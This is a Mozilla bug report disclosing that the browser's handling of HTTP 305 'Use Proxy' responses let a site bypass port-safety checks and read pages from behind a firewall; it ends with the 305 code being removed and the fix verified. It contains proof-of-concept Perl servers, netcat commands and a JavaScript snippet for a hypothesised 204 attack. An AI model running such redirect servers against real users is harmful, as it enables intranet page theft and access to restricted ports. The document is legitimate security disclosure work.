187996 - Strange behavior on 305 redirect

Status: VERIFIED FIXED

(Core :: Networking: HTTP, defect)

Description

[Mitchell Stoltz (not reading bugmail)]

From [e-mail]:

The HTTP response 305 "Use cache is dangerous".
Check attached file raw2.pl.
To reproduce:
1. In one terminal do:
nc -l -p 25 | od -c
(to listen on port 25 and hex dump what comes)
2. In another terminal:
/raw2.pl | nc -l -p 1234 
(to send raw http on port 1234)
3. In mozilla:
http://localhost:1234

Actual result:
Mozilla sends 
005 001  \0 (hex)
On port 25.
Port 25 is restricted and \x05\x01 is strange.
I suspect mozilla does not follow the location header, which is a small
bug, which prevents misusing port 25.


-------------- raw2.pl -----------------------
#!/usr/bin/perl

print "HTTP/1.1 305 Use proxy\n";
#print "Location: http://www.mozilla.org\n";
print "Location: localhost:25\n";
#print "Content-Location: http://localhost:2345\n";
#print "Content-Location: http://www.mozilla.org\n";
#print "Refresh: 2; URL=http://localhost\n";
print "\n\n";

Comment 1

[Mitchell Stoltz (not reading bugmail)]

Georgi, I'm not clear on what the potential exploit is - what's at stake here?

Comment 2

[Darin Fisher]

basically, this allows a website to defeat our NS_CheckPortSafety check for the
HTTP protocol.  i think this is fairly serious.  however, it should not be
possible for an attacker to redirect a form submission.  the redirected request
will always be GET without a body.

as for the wierd \x05 \x01 \x00, that results from necko mistakenly thinking it
needs to establish a SOCKS v5 connection to the proxy.  that is a recent
regression, unfortunately.  i'd expect 1.0 branch builds to send the actual HTTP
request to port 25.

i have a patch to fix the SOCKS bit.

Comment 3

[Darin Fisher]

Attachment: v1 patch: fixes SOCKS fu

this patch only fixes the SOCKS fu... the fix for the security bug is probably
going to require an appropriately placed call to NS_CheckPortSafety.

Comment 4

[georgi - hopefully not receiving bugspam]

I am not sure whether this is a bug. The SOCKS regression prevented me from
investigating further. Now I can test on the 1.0 branch, which works.

So far the only confirmed small bug is that 305 allows connecting to port 25
(SMTP). But the fact that only GET is supported is a great mitigating factor.

Potential exploit scenario is to try to send requests to other sites containing
cookies thru the proxy which 305 specifies.
The HTTP headers are:

Keep-Alive: 300
Proxy-Connection: keep-alive
^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Darin: Do you think it is possible to send requests to other sites thru the
"temporary" proxy - this may allow stealing cookies?

Comment 5

[Darin Fisher]

the temporary proxy only applies to the current URL.  if the current URL is
http://www.evil.com/, then only cookies from evil.com will be sent to the proxy.
 i don't see how this could be used to steal cookies from another domain.

i still think this is something we should probably fix just in case.

Comment 6

[Darin Fisher]

incidentally RFC 2616 doesn't say anything about whether or not a POST should be
resent to the proxy server.  perhaps it should.

Comment 7

[Bradley Baetz (:bbaetz)]

yeah, well, I think a 305 is a silly think for a spec. Last time we talked about
305, we couldn't find a usecase which wasn't incredably contrived and useless.
(IIRC, it was that rather than having a transparent http proxy set up, you could
have a transparent process which did nothing but reply with a 305. Kind of
silly/wasteful/etc, though, as well as against the HTTP spec's 'origin server'
restriction anyway)

That said, I think we should resend the POST contents. "The recipient is
expected to repeat this single request via the proxy." If the original request
had a body, then logically a 'repeat' of it must too.

If we don't have a port safety check, do we have a checkloaduri one, btw? cf
that redirect attack from a few months back.

When did the proxy stuff break?

Comment 8

[Darin Fisher]

yeah, 305 never seemed like something all that useful.  i agree with your
interpretation of the 305 redirect w.r.t. POST requests, and that's what worries
me.  there should be no need to call checkloaduri (and we dont) since the URL
won't be changed by the 305.

Comment 9

[Darin Fisher]

the 305 regression was caused by my patch for bug 105340 :(

Comment 10

[Bradley Baetz (:bbaetz)]

The problem is that if we send this to an http/1.0 host (or a host which has a
'default' site for unknown host headers) we are effectivly loading it.

Although we do send the absolute url in the GET/POST, and I have this vague
recollection atht apache doens't accept those when its not a proxy.

Comment 11

[georgi - hopefully not receiving bugspam]

For comment #10:
Bradley, this works also with http/1.1 on default install of apache (at least
1.3.26).
apache happily server full urls. Works even on mozilla.org. Probably this means
that pages from the intranet may be retrieved. 
To check:
In raw2.pl from the description change
Location: localhost:25\n
to
Location: www.mozilla.org:80\n

Or if one doesn't have netcat (aka nc)
here is a standalone perl proggie:
-----raw3sv.pl------------------------------
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;

#local port
$port = 1234;

#redirect to
$toserver="www.mozilla.org:80";

$msg= "HTTP/1.1 305 Use proxy\n";
$msg .= "Location: ${toserver}\n";
$msg .= "\n\n";


$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";

print "Listening on localhost:${port} will redirect to ${toserver}\n";

while ($client = $server->accept()) {
 print "Client connected.\n";
 print "Sending...";
sleep(1);
#	while(<$client>) {print $_;} 
 print $client "$msg";
 print "OK\n";
sleep(1);
 close($client);
exit(0);
}

--------------------------------------

Actual result:
./raw3sv.pl
with mozilla: connect to http://localhost:1234
The location and page info show "http://localhost:1234/" while the content
document is from www.mozilla.org without the images.
Probably with the help of a modified web server pages from behind the firewall
can be read.

Comment 12

[georgi - hopefully not receiving bugspam]

Attachment: Mini web server in perl to demonstrate reading pages behind fwl

Confirmed that pages (probably without cookies) from servers behind firewall
can be read.
Start the attached perl, then connect to http://localhost:1234/exploit
(or change localhost with the server where it is run. "localhost" should be
replaced in the perl code also in this case).
After some time the source of www.mozilla.org is displayed in an alert.

Comment 13

[georgi - hopefully not receiving bugspam]

The whole purpose of 305 as described in the rfc seems brain damaged to me from
security point of view.

Comment 14

[Darin Fisher]

i agree.  i wonder if we shouldn't consider dropping support for 305.

Comment 15

[Darin Fisher]

in fact, IE6 appears to ignore the 305... even if i point it at a valid proxy
server.  i'm seriously thinking that we should do the same.

Comment 16

[Bradley Baetz (:bbaetz)]

Yeah. Lets just #ifdef it out, or something. I remmeber when doing the proxy
rewrite that I was surprised that we suppoted it

Comment 17

[georgi - hopefully not receiving bugspam]

I also vote to disabling it. Or setting an option which is disabled by default
and clearly states that enabling it is dangerous from security point of view.

Comment 18

[georgi - hopefully not receiving bugspam]

Darin and others,

I am trying attacks with "204 No Content" response.
The idea is to load target page, then do
location.href="malicous_who_returns_204" and then "malicous_..." try to access
the target page.

This fails for now, but is such an attack possible?
Probably any response which updates the location without clearing the document
can be used.

Comment 19

[Darin Fisher]

nsURILoader.cpp ignores a 204 response code, which applies to any toplevel
document load.  now, that would not protect XMLHttpRequest, imagelib, CSS, JS,
or other types of loads that do not go through the docshell/uriloader magic.

Comment 20

[Boris Zbarsky [:bzbarsky]]

So... I'm not sure what the proposed attack is here...  As Darin said, the
"currently loaded document" will never have a URI that resulted in a 204; these
are dropped before the docshell starts switching to the new document.

Comment 21

[georgi - hopefully not receiving bugspam]

Darin, thanks for the info.

Boris: here is a potential attack scenario.
First, quote from RFC2616 (***emphasis mine***) :
----------------------------------------------------
10.2.5 204 No Content

   The server has fulfilled the request but does not need to return an
   entity-body, and might want to return updated metainformation. The
   response MAY include new or updated metainformation in the form of
   entity-headers, which if present SHOULD be associated with the
   requested variant.

   ***If the client is a user agent, it SHOULD NOT change its document view
   from that which caused the request to be sent. This response is
   primarily intended to allow input for actions to take place without
   causing a change to the user agent's active document view***, although
   any new or updated metainformation SHOULD be applied to the document
   currently in the user agent's active view.

   The 204 response MUST NOT include a message-body, and thus is always
   terminated by the first empty line after the header fields.


----------------------------------------------------

I thought that if mozilla followed this RFC as described above, a 204 response
would cause location.href to be updated to the new URL, while the document will
stay the old one.

In js loaded from "malicous" a potential attack would be done this way:
<script>
a=window.open("http://www.mozilla.org"); //target
//...wait till it is loaded...
a.location.href="http://malicous/something"; // malicous returns 204 response
a.location.href="javascript:alert(document.body.innerHTML)";
</script>

Comment 22

[Boris Zbarsky [:bzbarsky]]

Yeah, I don't think we follow the rfc there.  We basically pretend the request
never existed if we get a 204.

Comment 23

[georgi - hopefully not receiving bugspam]

Sure not following the RFC is safe behavior :)
internet exploder don't seem to follow it either.
just wanted to make sure this response is not exploitable.

Comment 24

[Boris Zbarsky [:bzbarsky]]

Well, if nothing else we should comment that code appropriately so some
well-meaning soul doesn't try to "fix" us to comply to the RFC...

Comment 25

[Bradley Baetz (:bbaetz)]

I don't necessarily agree with 204 being a security risk - we could easily work
arround this.

Supporting 204 will require hoooks into form conrols and so on, so its  alot of
work. I don't think it has practical value - who doesn't want to say 'update
accepted' when you make a change?

Anyway, thats not what this bug is about...

Comment 26

[Darin Fisher]

Attachment: v2 patch

this patch disables the 305 code.  i've removed the bulk of the 305 handling
code, and simply commented out the 305 case (with an explanatory comment) in
the big response switch statement.

Comment 27

[Darin Fisher]

Attachment: v2 patch (w/ whitespace removed)

same patch w/ whitespace removed.  (v1 patch was accidentally included in
async-io landing.)

Comment 28

[Bradley Baetz (:bbaetz)]

Comment on attachment 112824 [details] [diff] [review]
v2 patch (w/ whitespace removed)

r=bbaetz. For a 305 after this patch, we should then fall back to the
ProcessNormal case, if I read the code correctly

Comment 29

[Darin Fisher]

Comment on attachment 112824 [details] [diff] [review]
v2 patch (w/ whitespace removed)

requesting approval to checkin this patch for 1.3 beta.  simple code removal.

Comment 30

[Darin Fisher]

bbaetz: yup, that is correct.  if moz sees a 305, then it will just display the
message body to the user.  here's a "behind the NS firewall" testcase:

http://unagi.mcom.com/bugs/bug_http_305/test.cgi

  #!/bin/sh
  echo 'status: 305 use proxy'
  echo 'location: unagi.mcom.com:8080'
  echo ''
  echo 'use proxy!'

with this patch, the user should see "use proxy!" displayed in the browser window.

Comment 31

[Darin Fisher]

fixed-on-trunk

Comment 32

[benc]

Is the 204 discussion related to the 305 discussion? If not, we should have that
in a separate bug.

As for 305, it is probably worth noting that Ari Luotonen, who used to be the
Netscape Proxy Server lead engineer, said he didn't know what 305 did. I think
he even was closely involved in putting the proxy stuff into HTTP 1.1, so that
probably says it all.

Comment 33

[bmartin]

Testing against latest branch 2002-02-10-09 on Win2000

1. At command prompt, run attached test files raw2.pl or raw3sv.pl (these
scripts listen on localhost:1234 and will try to redirect to www.mozilla.org:80)
2. Launch branch build and go to http://localhost:1234

Results:
Mozilla will not load or display within the browser.

Comment 34

[bmartin]

Marking this Verified Fixed on the Branch based on my previous comment.